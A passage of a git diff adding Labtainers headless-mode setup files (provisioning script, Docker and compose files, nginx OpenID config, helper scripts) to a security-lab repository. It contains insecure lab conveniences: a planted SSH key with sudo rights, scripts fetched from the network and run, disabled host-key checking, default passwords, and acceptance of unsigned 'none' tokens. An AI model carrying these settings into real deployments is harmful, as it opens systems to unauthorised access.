/home/labtainer/.ssh +echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCqsA7lR0ks4PhVZ7P2vqormMrYlq/P4UeIrnvpgITd//o/x6W0l7Q6oOsp/bBJudB/91ZxTY7yTuXlSRIAg04SC4Fy/jpvz3Uh+Z8o/dfsd4Agoq0hOmm+UU1tC+hHQq1rwocYc2dnf79fyVa9xcL9xTKOjNNLLT7M6wwv+cTSBD+ivc40bMrt5lez/mldefu4Jsy1Z+bWNkg6BIY1LAzZ86EzcWZN7KHYzsKziNq8M8e4pDtG5a3QGf8HCUrEgCx8cbA6oNA2har2t/sALDtcEMzG/OhiBS2FopxC8aLZtAp29PPIOv5Z+S/w0NcQZnoNSXcNk+TNwOO2qZ+r0GbK/4s9LQrix0o0WfETqccBbb0KTqgTJEAzBqDITMQmG6qucU5yN0yWKPO+4CtndSp2GObnGU+LlRx8VYmacAqyn2tA1sV1bXzZJQ4nRuhbqLPDwRdMSslEiDz/5fkQEho/RLd8EuU+qGA39UgBvaNCV24Y4nYsojXcewvcTqY4T/0= mfthomps@mac-0220" > /home/labtainer/.ssh/authorized_keys +chown labtainer:labtainer /home/labtainer/.ssh/authorized_keys + +groupadd docker +usermod -aG docker labtainer +usermod -aG sudo labtainer + +mkdir -p /home/labtainer/headless-labtainers +chown labtainer:labtainer /home/labtainer/headless-labtainers +wget -P /home/labtainer/headless-labtainers https://raw.githubusercontent.com/mfthomps/Labtainers/premaster/headless-lite/headless-labtainers.sh +chmod a+x /home/labtainer/headless-labtainers/headless-labtainers.sh +tee -a /lib/systemd/system/headless-labtainers.service > /dev/null <>/etc/sudoers + +if [[ -z "$TEST_FLAG" ]]; then + docker pull labtainers/labtainer.master.headless + docker pull accetto/ubuntu-vnc-xfce +else + wget -P /home/labtainer/headless-labtainers https://raw.githubusercontent.com/mfthomps/Labtainers/premaster/setup_scripts/prep-testregistry.sh + wget -P /home/labtainer/headless-labtainers https://raw.githubusercontent.com/mfthomps/Labtainers/premaster/setup_scripts/testreg-add.py + cd /home/labtainer/headless-labtainers + chmod a+x prep-testregistry.sh testreg-add.py + ./prep-testregistry.sh + docker pull testregistry:5000/labtainer.headless.tester + echo "Pulled tester" >>/tmp/headless.log + docker pull testregistry:5000/ubuntu-vnc-xfce +fi + +systemctl enable headless-labtainers.service +systemctl start headless-labtainers.service +chown root:docker /var/run/docker.sock diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/labtainers-client.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/labtainers-client.sh new file mode 100755 index 000000000..a6b2f4127 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/labtainers-client.sh @@ -0,0 +1,10 @@ +#!/bin/bash +if [[ -z $1 ]]; then + echo "labtainers-client " + exit +fi +echo "Creating tunnel to $1" +ssh -AfN -L 6901:127.0.0.1:6901 -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -o "ServerAliveInterval 60" labtainer@$1 +echo "Now point your browser to http://localhost:6901/vnc.html?password= " +echo "" +echo "When done, use ./get-results.sh to retrieve your lab results into ~/labtainer_xfer." diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/motd b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/motd new file mode 100644 index 000000000..40c3377bb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/motd @@ -0,0 +1,9 @@ +=================================================================== += Labtainers Docker container & VNC = +=================================================================== +No password required, just click "OK" +Password for user labtainer is labtainer +To start labs: + - labtainer [labname] + +Use ctrl-c to exit headless-labtainers. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/wait-for-it.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/wait-for-it.sh new file mode 100644 index 000000000..071c2bee3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/wait-for-it.sh @@ -0,0 +1,178 @@ +#!/usr/bin/env bash +# Use this script to test if a given TCP host/port are available + +WAITFORIT_cmdname=${0##*/} + +echoerr() { if [[ $WAITFORIT_QUIET -ne 1 ]]; then echo "$@" 1>&2; fi } + +usage() +{ + cat << USAGE >&2 +Usage: + $WAITFORIT_cmdname host:port [-s] [-t timeout] [-- command args] + -h HOST | --host=HOST Host or IP under test + -p PORT | --port=PORT TCP port under test + Alternatively, you specify the host and port as host:port + -s | --strict Only execute subcommand if the test succeeds + -q | --quiet Don't output any status messages + -t TIMEOUT | --timeout=TIMEOUT + Timeout in seconds, zero for no timeout + -- COMMAND ARGS Execute command with args after the test finishes +USAGE + exit 1 +} + +wait_for() +{ + if [[ $WAITFORIT_TIMEOUT -gt 0 ]]; then + echoerr "$WAITFORIT_cmdname: waiting $WAITFORIT_TIMEOUT seconds for $WAITFORIT_HOST:$WAITFORIT_PORT" + else + echoerr "$WAITFORIT_cmdname: waiting for $WAITFORIT_HOST:$WAITFORIT_PORT without a timeout" + fi + WAITFORIT_start_ts=$(date +%s) + while : + do + if [[ $WAITFORIT_ISBUSY -eq 1 ]]; then + nc -z $WAITFORIT_HOST $WAITFORIT_PORT + WAITFORIT_result=$? + else + (echo > /dev/tcp/$WAITFORIT_HOST/$WAITFORIT_PORT) >/dev/null 2>&1 + WAITFORIT_result=$? + fi + if [[ $WAITFORIT_result -eq 0 ]]; then + WAITFORIT_end_ts=$(date +%s) + echoerr "$WAITFORIT_cmdname: $WAITFORIT_HOST:$WAITFORIT_PORT is available after $((WAITFORIT_end_ts - WAITFORIT_start_ts)) seconds" + break + fi + sleep 1 + done + return $WAITFORIT_result +} + +wait_for_wrapper() +{ + # In order to support SIGINT during timeout: http://unix.stackexchange.com/a/57692 + if [[ $WAITFORIT_QUIET -eq 1 ]]; then + timeout $WAITFORIT_BUSYTIMEFLAG $WAITFORIT_TIMEOUT $0 --quiet --child --host=$WAITFORIT_HOST --port=$WAITFORIT_PORT --timeout=$WAITFORIT_TIMEOUT & + else + timeout $WAITFORIT_BUSYTIMEFLAG $WAITFORIT_TIMEOUT $0 --child --host=$WAITFORIT_HOST --port=$WAITFORIT_PORT --timeout=$WAITFORIT_TIMEOUT & + fi + WAITFORIT_PID=$! + trap "kill -INT -$WAITFORIT_PID" INT + wait $WAITFORIT_PID + WAITFORIT_RESULT=$? + if [[ $WAITFORIT_RESULT -ne 0 ]]; then + echoerr "$WAITFORIT_cmdname: timeout occurred after waiting $WAITFORIT_TIMEOUT seconds for $WAITFORIT_HOST:$WAITFORIT_PORT" + fi + return $WAITFORIT_RESULT +} + +# process arguments +while [[ $# -gt 0 ]] +do + case "$1" in + *:* ) + WAITFORIT_hostport=(${1//:/ }) + WAITFORIT_HOST=${WAITFORIT_hostport[0]} + WAITFORIT_PORT=${WAITFORIT_hostport[1]} + shift 1 + ;; + --child) + WAITFORIT_CHILD=1 + shift 1 + ;; + -q | --quiet) + WAITFORIT_QUIET=1 + shift 1 + ;; + -s | --strict) + WAITFORIT_STRICT=1 + shift 1 + ;; + -h) + WAITFORIT_HOST="$2" + if [[ $WAITFORIT_HOST == "" ]]; then break; fi + shift 2 + ;; + --host=*) + WAITFORIT_HOST="${1#*=}" + shift 1 + ;; + -p) + WAITFORIT_PORT="$2" + if [[ $WAITFORIT_PORT == "" ]]; then break; fi + shift 2 + ;; + --port=*) + WAITFORIT_PORT="${1#*=}" + shift 1 + ;; + -t) + WAITFORIT_TIMEOUT="$2" + if [[ $WAITFORIT_TIMEOUT == "" ]]; then break; fi + shift 2 + ;; + --timeout=*) + WAITFORIT_TIMEOUT="${1#*=}" + shift 1 + ;; + --) + shift + WAITFORIT_CLI=("$@") + break + ;; + --help) + usage + ;; + *) + echoerr "Unknown argument: $1" + usage + ;; + esac +done + +if [[ "$WAITFORIT_HOST" == "" || "$WAITFORIT_PORT" == "" ]]; then + echoerr "Error: you need to provide a host and port to test." + usage +fi + +WAITFORIT_TIMEOUT=${WAITFORIT_TIMEOUT:-15} +WAITFORIT_STRICT=${WAITFORIT_STRICT:-0} +WAITFORIT_CHILD=${WAITFORIT_CHILD:-0} +WAITFORIT_QUIET=${WAITFORIT_QUIET:-0} + +# check to see if timeout is from busybox? +WAITFORIT_TIMEOUT_PATH=$(type -p timeout) +WAITFORIT_TIMEOUT_PATH=$(realpath $WAITFORIT_TIMEOUT_PATH 2>/dev/null || readlink -f $WAITFORIT_TIMEOUT_PATH) +if [[ $WAITFORIT_TIMEOUT_PATH =~ "busybox" ]]; then + WAITFORIT_ISBUSY=1 + WAITFORIT_BUSYTIMEFLAG="-t" + +else + WAITFORIT_ISBUSY=0 + WAITFORIT_BUSYTIMEFLAG="" +fi + +if [[ $WAITFORIT_CHILD -gt 0 ]]; then + wait_for + WAITFORIT_RESULT=$? + exit $WAITFORIT_RESULT +else + if [[ $WAITFORIT_TIMEOUT -gt 0 ]]; then + wait_for_wrapper + WAITFORIT_RESULT=$? + else + wait_for + WAITFORIT_RESULT=$? + fi +fi + +if [[ $WAITFORIT_CLI != "" ]]; then + if [[ $WAITFORIT_RESULT -ne 0 && $WAITFORIT_STRICT -eq 1 ]]; then + echoerr "$WAITFORIT_cmdname: strict mode, refusing to execute subprocess" + exit $WAITFORIT_RESULT + fi + exec "${WAITFORIT_CLI[@]}" +else + exit $WAITFORIT_RESULT +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/waitForX.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/waitForX.sh new file mode 100755 index 000000000..dd826ba93 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/waitForX.sh @@ -0,0 +1,37 @@ +#!/bin/bash +# +# waitForX [ [ ...]] +# +# Wait for X Server to be ready, then run the given command once X server +# is ready. (Or simply return if no command is provided.) +# + +function LOG { + echo $(date -R): $0: $* +} + +if [ -z "$DISPLAY" ]; then + LOG "FATAL: No DISPLAY environment variable set. No X." + exit 13 +fi + +LOG "Waiting for X Server $DISPLAY to be available" + +MAX=120 # About 60 seconds +CT=0 +while ! xterm -e exit >/dev/null 2>&1; do + sleep 0.50s + CT=$(( CT + 1 )) + if [ "$CT" -ge "$MAX" ]; then + LOG "FATAL: $0: Gave up waiting for X server $DISPLAY" + exit 11 + fi +done + +LOG "X is available" + +if [ -n "$1" ]; then + exec "$@" +fi + +#eof diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless/Dockerfile.labtainer.master b/modules/utilities/unix/labtainers/files/Labtainers-master/headless/Dockerfile.labtainer.master new file mode 100644 index 000000000..24f3d4b07 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless/Dockerfile.labtainer.master @@ -0,0 +1,98 @@ +# student@ubuntu:~/labtainer/trunk/scripts/designer$ cat base_dockerfiles/Dockerfile.labtainer.master +# +# Create a master Labtainer image for use in running Labtainers from a container +# on any system that has Docker installed, withou having to install Labtainers. +# Thanks for Olivier Berger for this contribution. +# +FROM ubuntu:xenial +LABEL description="This is Docker image for the Labtainers master controller" +RUN apt-get update && apt-get install -y --no-install-recommends \ + apt-transport-https \ + ca-certificates \ + curl \ + software-properties-common + +# +ARG DOCKER_GROUP_ID +RUN groupadd -g $DOCKER_GROUP_ID docker + +# +RUN curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add - && \ + add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" && \ + apt-get update && \ + apt-get install -y --no-install-recommends docker-ce + +# Set the locale +RUN apt-get install -y --no-install-recommends \ + locales +RUN locale-gen en_US.UTF-8 +ENV LANG en_US.UTF-8 +ENV LANGUAGE en_US:en +ENV LC_ALL en_US.UTF-8 +# RUN sudo pip install --upgrade pip +# RUN sudo pip install setuptools +# RUN sudo pip install parse +# RUN pip install inotify_simple +# RUN pip install enum +# ADD system/etc/sudoers /etc/sudoers +# ADD system/etc/rc.local /etc/rc.local +# ADD system/bin/funbuffer /usr/bin/ +# # manage default gateways +# ADD system/bin/togglegw.sh /usr/bin/ +# ADD system/bin/set_default_gw.sh /usr/bin/ + +RUN apt-get install -y --no-install-recommends \ + sudo \ + python \ + python-pip \ + python-setuptools +RUN pip install netaddr parse python-dateutil + +RUN apt-get install -y --no-install-recommends \ + x11-xserver-utils \ + xterm \ + gnome-terminal + +RUN apt-get install -y --no-install-recommends \ + less \ + iputils-ping \ + wget \ + vim + +# For gnome-terminal +RUN apt-get install -y --no-install-recommends \ + dbus-x11 + +RUN useradd -ms /bin/bash labtainer +RUN usermod -aG docker labtainer +RUN newgrp docker + +#ensures that /var/run/docker.sock exists +RUN touch /var/run/docker.sock + +#changes the ownership of /var/run/docker.sock +RUN chown root:docker /var/run/docker.sock + +USER labtainer +WORKDIR /home/labtainer + +COPY --chown=labtainer:labtainer labtainer.tar /home/labtainer +RUN tar xf labtainer.tar +RUN rm labtainer.tar +RUN cd labtainer && ln -s trunk/scripts/labtainer-student +RUN cd labtainer && ln -s trunk/scripts/labtainer-instructor + +COPY --chown=labtainer:labtainer bashrc.labtainer.master /home/labtainer +RUN cat bashrc.labtainer.master >>/home/labtainer/.bashrc + +COPY --chown=labtainer:labtainer labutils.py /home/labtainer/labtainer/labtainer-student/bin/ +ENV DISPLAY :0 +ENV NO_AT_BRIDGE=1 +ENV VNCHOST=novnc + +COPY --chown=labtainer:labtainer ./motd /etc/motd +COPY --chown=labtainer:labtainer ./docker-entrypoint / +COPY --chown=labtainer:labtainer ./wait-for-it.sh / + +RUN chmod 744 /docker-entrypoint +RUN chmod 744 /wait-for-it.sh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless/LICENSE b/modules/utilities/unix/labtainers/files/Labtainers-master/headless/LICENSE new file mode 100644 index 000000000..9cf106272 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless/LICENSE @@ -0,0 +1,19 @@ +MIT License + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless/README.md b/modules/utilities/unix/labtainers/files/Labtainers-master/headless/README.md new file mode 100644 index 000000000..a65848342 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless/README.md @@ -0,0 +1,54 @@ +Labtainer Headless Mode +================================== + +NOTE: this is a work in progress and will be refined over the next few months(summer 2020). This is not for production, but for dev environments only at this time. + +Install steps + +1. Optional: rebuild the fresh-nginx:latest + +`docker build -t fresh-nginx:latest .` + +2. Optional: rebuild the labtainer.master. On labtainer vm, build the labtainer.master file and push it to docker hub, see instructions in labtainer.master.create.txt + +3. When running docker from linux host: you will have to uncomment the following environment variable in nginx section of the docker-compose.yml file, then set a local environment variable to the local IP (real IP, not 127.0.0.1 or localhost). + Uncomment these lines: + + `extra_hosts:` + + ` - "host.docker.internal:$DOCKER_INTERNAL_IP"` + +then, export the environment variable as follows: + +`export DOCKER_INTERNAL_IP=192.168.10.3` (be sure to use your real IP here) + +This is tied to this bug in linux docker... https://github.com/docker/for-linux/issues/264 + +4. Then, on any linux/mac (someday windows), run the containers: + +`docker-compose up` + +5. After about 30 seconds the system should settle, goto http://localhost:3333 and select "Administration Console", login (using initial credentials of admin/password). + +6. Set up realm of "myrealm". On Realm page, hover over Master realm icon in upper left corner, select "Add New" popup. Name the new realm "myrealm". +7. From Client section on left, setup a client called "nginx" with: +* "Access Type" set to "confidential" +* "Direct Access Grants Enabled" to "on" +* "Service Accounts Enabled" to "on" +* "Authorization Enabled" to "on" +* "Root URL" as "http://localhost/" +* "Valid Redirect URIs" as "http://localhost/*" +* "Base URL" as "http://localhost/" +* "Admin URL" as "localhost" +* "Web Origins" as "localhost" + +8. After saving client, using the credentials tab, copy client secret to nginx.conf (2 places) and then restart the system. + +In the running shell, hit `CTRL-C` to stop the containers, then `docker-compose up` to restart them. + +9. Back in Administration Console, under users section on left, create the first user and set password under credentials. + +10. While you are at it, be sure to change the admin credentials of the main console. + +11. Then goto http://localhost/vnc_auto.html and authenticate as that user you created in step 9. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless/docker-compose.yml b/modules/utilities/unix/labtainers/files/Labtainers-master/headless/docker-compose.yml new file mode 100644 index 000000000..ff5171af7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless/docker-compose.yml @@ -0,0 +1,81 @@ +version: "3.7" + +networks: + mynetwork: + name: mynetwork + attachable: true + +services: + + postgres: + image: postgres:12.0-alpine + volumes: + - ./postgres_data:/var/lib/postgresql/data + environment: + POSTGRES_DB: keycloak + POSTGRES_USER: keycloak + POSTGRES_PASSWORD: password + ports: + - 5432:5432 + networks: + - mynetwork + + + keycloak: + image: jboss/keycloak:7.0.1 + environment: + DB_VENDOR: POSTGRES + DB_ADDR: postgres + DB_DATABASE: keycloak + DB_USER: keycloak + DB_SCHEMA: public + DB_PASSWORD: password + KEYCLOAK_USER: admin + KEYCLOAK_PASSWORD: password + # Uncomment the line below if you want to specify JDBC parameters. The parameter below is just an example, and it shouldn't be used in production without knowledge. It is highly recommended that you read the PostgreSQL JDBC driver documentation in order to use it. + #JDBC_PARAMS: "ssl=true" + ports: + - 3333:8080 + depends_on: + - postgres + networks: + - mynetwork + + + nginx: + image: harperaa/fresh-nginx:latest + ports: + - 80:80 + networks: + - mynetwork + volumes: + - ./nginx-default.conf:/etc/nginx/conf.d +# extra_hosts: +# - "host.docker.internal:$DOCKER_INTERNAL_IP" + + novnc: + image: psharkey/novnc:latest + #image: theasp/novnc:latest + environment: + # Adjust to your screen size + - DISPLAY_WIDTH=1600 + - DISPLAY_HEIGHT=968 + - RUN_XTERM=no + #ports: + #- "8080:8080" + networks: + - mynetwork + + labtainer: + image: harperaa/labtainer.master + environment: + - DISPLAY=novnc:0.0 + volumes: + - /var/run/docker.sock:/var/run/docker.sock + networks: + - mynetwork + depends_on: + - novnc + entrypoint: ["/docker-entrypoint"] + tty: true + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless/docker-entrypoint b/modules/utilities/unix/labtainers/files/Labtainers-master/headless/docker-entrypoint new file mode 100644 index 000000000..fc537691e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless/docker-entrypoint @@ -0,0 +1,7 @@ +#!/bin/bash + +cat /etc/motd + +#Login with user : labtainer +/wait-for-it.sh $VNCHOST:5900 -- xterm > /dev/null 2>&1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless/labtainer.master.create.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/headless/labtainer.master.create.txt new file mode 100644 index 000000000..ca4f64c83 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless/labtainer.master.create.txt @@ -0,0 +1,11 @@ +1. move motd docker-entrypoint and wait-for-it.sh into the following directory on labtainer vm: ~/labtainer/trunk/scripts/designer/workspace_master$ + +2. move the repo file: Dockerfile.labtainer.master to ~/labtainer/trunk/scripts/designer/base_dockerfiles/Dockerfile.labtainer.master + +3. add --no-cache to build line of ./create_master_image.sh in following directory on labtainer vm student@ubuntu:~/labtainer/trunk/scripts/designer/bin$ + +4. then, run these, notice location, and change tag number below, to output of create script (prior step) + +student@ubuntu:~/labtainer/trunk/scripts/designer/bin$ ./create_master_image.sh +student@ubuntu:~/labtainer/trunk/scripts/designer/bin$ docker tag 9b7fdaa3a362 harperaa/labtainer.master +student@ubuntu:~/labtainer/trunk/scripts/designer/bin$ docker push harperaa/labtainer.master diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless/motd b/modules/utilities/unix/labtainers/files/Labtainers-master/headless/motd new file mode 100644 index 000000000..3c99ef313 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless/motd @@ -0,0 +1,7 @@ +=================================================================== += Labtainers Docker container & VNC = +=================================================================== + +To start labs: + - cd ~/labtainer/labtainer-student + - labtainer [labname] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless/nginx-default.conf/default.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/headless/nginx-default.conf/default.conf new file mode 100644 index 000000000..cca467ee6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless/nginx-default.conf/default.conf @@ -0,0 +1,87 @@ +server { + listen 80 default_server; + root /usr/local/openresty/nginx/html; + index index.html; + resolver 127.0.0.11 valid=1s ipv6=off; + location / { + access_by_lua ' + local opts = { + redirect_uri_path = "/index.html", + accept_none_alg = true, + discovery = "http://host.docker.internal:3333/auth/realms/myrealm/.well-known/openid-configuration", + client_id = "nginx", + client_secret = "SECRET_GOES_HERE", + redirect_uri_scheme = "http", + logout_path = "/logout", + redirect_after_logout_uri = "http://host.docker.internal:3333/auth/realms/myrealm/protocol/openid-connect/logout?redirect_uri=http://localhost/", + redirect_after_logout_with_id_token_hint = false, + session_contents = {id_token=true} + } + -- call introspect for OAuth 2.0 Bearer Access Token validation + local res, err = require("resty.openidc").authenticate(opts) + if err then + ngx.status = 403 + ngx.say(err) + ngx.exit(ngx.HTTP_FORBIDDEN) + end + '; + # proxy pass to novnc server + proxy_pass http://novnc:8080/; + #keep from timing out, set timeout to 1 hour. + proxy_read_timeout 3600s; + proxy_send_timeout 3600s; + # disabled caching so the browser won't cache the site. + expires 0; + add_header Cache-Control private; + } + + location /websockify { + access_by_lua ' + local opts = { + redirect_uri_path = "/index.html", + accept_none_alg = true, + discovery = "http://host.docker.internal:3333/auth/realms/myrealm/.well-known/openid-configuration", + client_id = "nginx", + client_secret = "SECRET_GOES_HERE", + redirect_uri_scheme = "http", + logout_path = "/logout", + redirect_after_logout_uri = "http://host.docker.internal:3333/auth/realms/myrealm/protocol/openid-connect/logout?redirect_uri=http://localhost/", + redirect_after_logout_with_id_token_hint = false, + session_contents = {id_token=true} + } + -- call introspect for OAuth 2.0 Bearer Access Token validation + local res, err = require("resty.openidc").authenticate(opts) + if err then + ngx.status = 403 + ngx.say(err) + ngx.exit(ngx.HTTP_FORBIDDEN) + end + '; + # WebSocket support + proxy_set_header HOST $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_pass_request_headers on; + + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + + proxy_read_timeout 3600s; + proxy_send_timeout 3600s; + + proxy_pass http://novnc:8080; + } + + # redirect server error pages to the static page /40x.html + # + error_page 404 /404.html; + location = /40x.html { + } + # redirect server error pages to the static page /50x.html + # + error_page 500 502 503 504 /50x.html; + location = /50x.html { + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless/wait-for-it.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/headless/wait-for-it.sh new file mode 100644 index 000000000..071c2bee3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless/wait-for-it.sh @@ -0,0 +1,178 @@ +#!/usr/bin/env bash +# Use this script to test if a given TCP host/port are available + +WAITFORIT_cmdname=${0##*/} + +echoerr() { if [[ $WAITFORIT_QUIET -ne 1 ]]; then echo "$@" 1>&2; fi } + +usage() +{ + cat << USAGE >&2 +Usage: + $WAITFORIT_cmdname host:port [-s] [-t timeout] [-- command args] + -h HOST | --host=HOST Host or IP under test + -p PORT | --port=PORT TCP port under test + Alternatively, you specify the host and port as host:port + -s | --strict Only execute subcommand if the test succeeds + -q | --quiet Don't output any status messages + -t TIMEOUT | --timeout=TIMEOUT + Timeout in seconds, zero for no timeout + -- COMMAND ARGS Execute command with args after the test finishes +USAGE + exit 1 +} + +wait_for() +{ + if [[ $WAITFORIT_TIMEOUT -gt 0 ]]; then + echoerr "$WAITFORIT_cmdname: waiting $WAITFORIT_TIMEOUT seconds for $WAITFORIT_HOST:$WAITFORIT_PORT" + else + echoerr "$WAITFORIT_cmdname: waiting for $WAITFORIT_HOST:$WAITFORIT_PORT without a timeout" + fi + WAITFORIT_start_ts=$(date +%s) + while : + do + if [[ $WAITFORIT_ISBUSY -eq 1 ]]; then + nc -z $WAITFORIT_HOST $WAITFORIT_PORT + WAITFORIT_result=$? + else + (echo > /dev/tcp/$WAITFORIT_HOST/$WAITFORIT_PORT) >/dev/null 2>&1 + WAITFORIT_result=$? + fi + if [[ $WAITFORIT_result -eq 0 ]]; then + WAITFORIT_end_ts=$(date +%s) + echoerr "$WAITFORIT_cmdname: $WAITFORIT_HOST:$WAITFORIT_PORT is available after $((WAITFORIT_end_ts - WAITFORIT_start_ts)) seconds" + break + fi + sleep 1 + done + return $WAITFORIT_result +} + +wait_for_wrapper() +{ + # In order to support SIGINT during timeout: http://unix.stackexchange.com/a/57692 + if [[ $WAITFORIT_QUIET -eq 1 ]]; then + timeout $WAITFORIT_BUSYTIMEFLAG $WAITFORIT_TIMEOUT $0 --quiet --child --host=$WAITFORIT_HOST --port=$WAITFORIT_PORT --timeout=$WAITFORIT_TIMEOUT & + else + timeout $WAITFORIT_BUSYTIMEFLAG $WAITFORIT_TIMEOUT $0 --child --host=$WAITFORIT_HOST --port=$WAITFORIT_PORT --timeout=$WAITFORIT_TIMEOUT & + fi + WAITFORIT_PID=$! + trap "kill -INT -$WAITFORIT_PID" INT + wait $WAITFORIT_PID + WAITFORIT_RESULT=$? + if [[ $WAITFORIT_RESULT -ne 0 ]]; then + echoerr "$WAITFORIT_cmdname: timeout occurred after waiting $WAITFORIT_TIMEOUT seconds for $WAITFORIT_HOST:$WAITFORIT_PORT" + fi + return $WAITFORIT_RESULT +} + +# process arguments +while [[ $# -gt 0 ]] +do + case "$1" in + *:* ) + WAITFORIT_hostport=(${1//:/ }) + WAITFORIT_HOST=${WAITFORIT_hostport[0]} + WAITFORIT_PORT=${WAITFORIT_hostport[1]} + shift 1 + ;; + --child) + WAITFORIT_CHILD=1 + shift 1 + ;; + -q | --quiet) + WAITFORIT_QUIET=1 + shift 1 + ;; + -s | --strict) + WAITFORIT_STRICT=1 + shift 1 + ;; + -h) + WAITFORIT_HOST="$2" + if [[ $WAITFORIT_HOST == "" ]]; then break; fi + shift 2 + ;; + --host=*) + WAITFORIT_HOST="${1#*=}" + shift 1 + ;; + -p) + WAITFORIT_PORT="$2" + if [[ $WAITFORIT_PORT == "" ]]; then break; fi + shift 2 + ;; + --port=*) + WAITFORIT_PORT="${1#*=}" + shift 1 + ;; + -t) + WAITFORIT_TIMEOUT="$2" + if [[ $WAITFORIT_TIMEOUT == "" ]]; then break; fi + shift 2 + ;; + --timeout=*) + WAITFORIT_TIMEOUT="${1#*=}" + shift 1 + ;; + --) + shift + WAITFORIT_CLI=("$@") + break + ;; + --help) + usage + ;; + *) + echoerr "Unknown argument: $1" + usage + ;; + esac +done + +if [[ "$WAITFORIT_HOST" == "" || "$WAITFORIT_PORT" == "" ]]; then + echoerr "Error: you need to provide a host and port to test." + usage +fi + +WAITFORIT_TIMEOUT=${WAITFORIT_TIMEOUT:-15} +WAITFORIT_STRICT=${WAITFORIT_STRICT:-0} +WAITFORIT_CHILD=${WAITFORIT_CHILD:-0} +WAITFORIT_QUIET=${WAITFORIT_QUIET:-0} + +# check to see if timeout is from busybox? +WAITFORIT_TIMEOUT_PATH=$(type -p timeout) +WAITFORIT_TIMEOUT_PATH=$(realpath $WAITFORIT_TIMEOUT_PATH 2>/dev/null || readlink -f $WAITFORIT_TIMEOUT_PATH) +if [[ $WAITFORIT_TIMEOUT_PATH =~ "busybox" ]]; then + WAITFORIT_ISBUSY=1 + WAITFORIT_BUSYTIMEFLAG="-t" + +else + WAITFORIT_ISBUSY=0 + WAITFORIT_BUSYTIMEFLAG="" +fi + +if [[ $WAITFORIT_CHILD -gt 0 ]]; then + wait_for + WAITFORIT_RESULT=$? + exit $WAITFORIT_RESULT +else + if [[ $WAITFORIT_TIMEOUT -gt 0 ]]; then + wait_for_wrapper + WAITFORIT_RESULT=$? + else + wait_for + WAITFORIT_RESULT=$? + fi +fi + +if [[ $WAITFORIT_CLI != "" ]]; then + if [[ $WAITFORIT_RESULT -ne 0 && $WAITFORIT_STRICT -eq 1 ]]; then + echoerr "$WAITFORIT_cmdname: strict mode, refusing to execute subprocess" + exit $WAITFORIT_RESULT + fi + exec "${WAITFORIT_CLI[@]}" +else + exit $WAITFORIT_RESULT +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/README b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/README index 07d9b8d02..789d7b9d3 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/README +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/README @@ -1,6 +1,3 @@ -README for scripts run on a Linux host to create and test -Labtainer VM appliances for VirtualBox and VMWare. - Power up / down baseline so it can update. Then do export: @@ -14,4 +11,5 @@ That will create a testvm. Test with it, then publish with 